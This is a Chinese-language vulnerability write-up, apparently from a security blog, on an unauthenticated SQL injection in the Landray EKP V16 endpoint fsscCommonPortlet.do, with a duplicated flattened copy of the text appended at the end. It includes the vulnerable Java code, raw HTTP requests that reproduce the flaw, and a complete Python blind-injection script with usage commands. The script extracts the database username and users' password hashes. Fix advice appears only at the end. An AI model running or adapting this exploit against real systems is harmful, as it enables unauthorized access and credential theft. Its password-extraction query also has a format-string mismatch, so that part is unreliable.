蓝凌EKP V16 未授权SQL注入漏洞分析
字数 834 2025-08-22 18:37:27

蓝凌EKP V16 未授权SQL注入漏洞分析与利用教学文档

漏洞概述

蓝凌EKP V16.0.6.R.20220729版本中存在一个未授权SQL注入漏洞,位于/fssc/common/fssc_common_portlet/fsscCommonPortlet.do路径的getICareByFdId方法中。由于权限配置不当,攻击者无需认证即可利用此漏洞执行SQL注入攻击,获取数据库敏感信息。

漏洞分析

漏洞位置

漏洞存在于FsscCommonPortletAction类的getICareByFdId方法中:

public ActionForward getICareByFdId(ActionMapping mapping, ActionForm form, 
    HttpServletRequest request, HttpServletResponse response) throws Exception {
    TimeCounter.logCurrentTime("Action-save", true, this.getClass());
    KmssMessages messages = new KmssMessages();
    try {
        if (!"POST".equals(request.getMethod())) {
            throw new UnexpectedRequestException();
        }
        StringBuilder sql = new StringBuilder();
        sql.append("select fdNum,docSubject,fdName,createTime,fdStatus,IsFollow from " + 
            FsscCommonICare.class.getName() + " where 1 = 1 and IsFollow = '1' and docCreator = '" + 
            UserUtil.getUser().getFdId() + "'");
        String fdNum = request.getParameter("fdNum");
        if (StringUtil.isNotNull(fdNum)) {
            sql.append(" and fdNum ='" + fdNum + "'");
        }
        Query query = this.getCommonICareServiceImp(request).getBaseDao()
            .getHibernateSession().createQuery(sql.toString());
        List<Object[]> list = query.list();
        ......
    }
}

漏洞成因

  1. SQL注入点fdNum参数直接拼接进SQL语句,未做任何过滤或参数化处理
  2. 未授权访问:由于权限配置不当,攻击者无需认证即可访问该接口

权限配置分析

WEB-INF/KmssConfig/fssc/common/design.xml文件中,只对以下路径做了权限控制:

tree.jsp*
fssc_common_transfer_field/fsscCommonTransferField.do*
fssc_common_transfer_log/fsscCommonTransferLog.do*

而漏洞路径/fssc/common/fssc_common_portlet/fsscCommonPortlet.do未被限制,导致可以未授权访问。

漏洞复现

复现步骤

  1. 填充数据库(为注入创造条件):

    POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
    Host: 
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 76
    
    method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1
    
  2. 验证SQL注入

    POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
    Host: 
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 60
    
    method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
    

注入技巧

  1. 布尔盲注:通过不同的条件返回不同结果来判断条件真假
  2. 时间盲注:可通过添加延时函数实现(根据数据库类型不同)

漏洞利用

POC脚本分析

import argparse
import requests

header = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
}

def exploit_user(url, db_user):
    user_name = ""
    for i in range(1, 20):
        low = 1
        top = 255
        mid = (low + top) // 2
        while low < top:
            send_data = {
                "method": "getICareByFdId",
                "ordertype": "down",
                "fdNum": "aNsSl' or ascii(substring((user_name()),{},1)) < {} and '1'='1".format(i, mid)
            }
            res = requests.post(url, data=send_data, headers=header)
            if "docSubject" in res.text:
                top = mid
            else:
                low = mid + 1
            mid = (top + low) // 2
        if mid <= 1 or mid >= 254:
            break
        user_name = user_name + chr(mid - 1)
        print("[+]user_name:{}".format(user_name))
    print("\033[F", end="")
    print("[+]user_name:{}".format(user_name))

def exploit(url, username):
    password_len = 32
    password = ""
    for i in range(1, password_len + 1):
        low = 1
        top = 255
        mid = (low + top) // 2
        while low < top:
            send_data = {
                "method": "getICareByFdId",
                "ordertype": "down",
                "fdNum": "aNsSl' or ascii(substring((select fdPassword from com.landray.kmss.sys.organization.model.SysOrgPerson where fdLoginName=1)) < {} and '1'='1".format(username, i, mid)
            }
            res = requests.post(url, data=send_data, headers=header)
            if "docSubject" in res.text:
                top = mid
            else:
                low = mid + 1
            mid = (top + low) // 2
        password = password + chr(mid - 1)
        print("[+]password:{}".format(password))
    print("\033[F", end="")
    print("[+]password:{}".format(password))

def scan_vuln(url, username, db_user):
    global header
    req_url = url.strip("/") + "/fssc/common/fssc_common_portlet/fsscCommonPortlet.do"
    step_data = {
        "method": "saveICare",
        "fdId":"",
        "fdNum": "1",
        "docSubject": "1",
        "fdName": "test",
        "createTime": "1",
        "fdStatus": "1"
    }
    try:
        req1 = requests.post(req_url, data=step_data, headers=header)
        if req1.status_code == 200 and "result" in req1.text:
            print("[+]Vuln exist,start inject password:")
            if db_user == "check":
                exploit_user(req_url, db_user)
            else:
                exploit(req_url, username)
        else:
            print("[-]Vuln not exist.")
            exit(0)
    except:
        print("[-]request error.")
        exit(0)
    pass

def main():
    parser = argparse.ArgumentParser(description="Process command line arguments")
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-db_user', '--db_user', required=False, help='db_user')
    parser.add_argument('-U', '--username', required=False, help='Username argument')
    args = parser.parse_args()
    url = args.url
    db_user = args.db_user
    username = args.username
    scan_vuln(url, username, db_user)

if __name__ == '__main__':
    main()

使用说明

  1. 检查漏洞存在性并获取数据库用户名:

    python poc.py -u http://target.com -db_user check
    
  2. 获取指定用户的密码:

    python poc.py -u http://target.com -U username
    

修复建议

  1. 参数化查询:使用预编译语句或ORM框架的参数绑定功能
  2. 输入验证:对fdNum参数进行严格的格式验证
  3. 权限控制:在design.xml中添加对漏洞路径的权限限制
  4. 更新补丁:升级到最新版本,蓝凌官方可能已发布修复版本

总结

该漏洞结合了未授权访问和SQL注入两个安全问题,危害性较高。开发人员应重视:

  1. 所有用户输入都应视为不可信的
  2. 权限配置需要全面考虑所有接口
  3. 使用安全的数据库访问方式
蓝凌EKP V16 未授权SQL注入漏洞分析与利用教学文档 漏洞概述 蓝凌EKP V16.0.6.R.20220729版本中存在一个未授权SQL注入漏洞,位于 /fssc/common/fssc_common_portlet/fsscCommonPortlet.do 路径的 getICareByFdId 方法中。由于权限配置不当,攻击者无需认证即可利用此漏洞执行SQL注入攻击,获取数据库敏感信息。 漏洞分析 漏洞位置 漏洞存在于 FsscCommonPortletAction 类的 getICareByFdId 方法中: 漏洞成因 SQL注入点 : fdNum 参数直接拼接进SQL语句,未做任何过滤或参数化处理 未授权访问 :由于权限配置不当,攻击者无需认证即可访问该接口 权限配置分析 在 WEB-INF/KmssConfig/fssc/common/design.xml 文件中,只对以下路径做了权限控制: 而漏洞路径 /fssc/common/fssc_common_portlet/fsscCommonPortlet.do 未被限制,导致可以未授权访问。 漏洞复现 复现步骤 填充数据库 (为注入创造条件): 验证SQL注入 : 注入技巧 布尔盲注:通过不同的条件返回不同结果来判断条件真假 时间盲注:可通过添加延时函数实现(根据数据库类型不同) 漏洞利用 POC脚本分析 使用说明 检查漏洞存在性并获取数据库用户名: 获取指定用户的密码: 修复建议 参数化查询 :使用预编译语句或ORM框架的参数绑定功能 输入验证 :对 fdNum 参数进行严格的格式验证 权限控制 :在 design.xml 中添加对漏洞路径的权限限制 更新补丁 :升级到最新版本,蓝凌官方可能已发布修复版本 总结 该漏洞结合了未授权访问和SQL注入两个安全问题,危害性较高。开发人员应重视: 所有用户输入都应视为不可信的 权限配置需要全面考虑所有接口 使用安全的数据库访问方式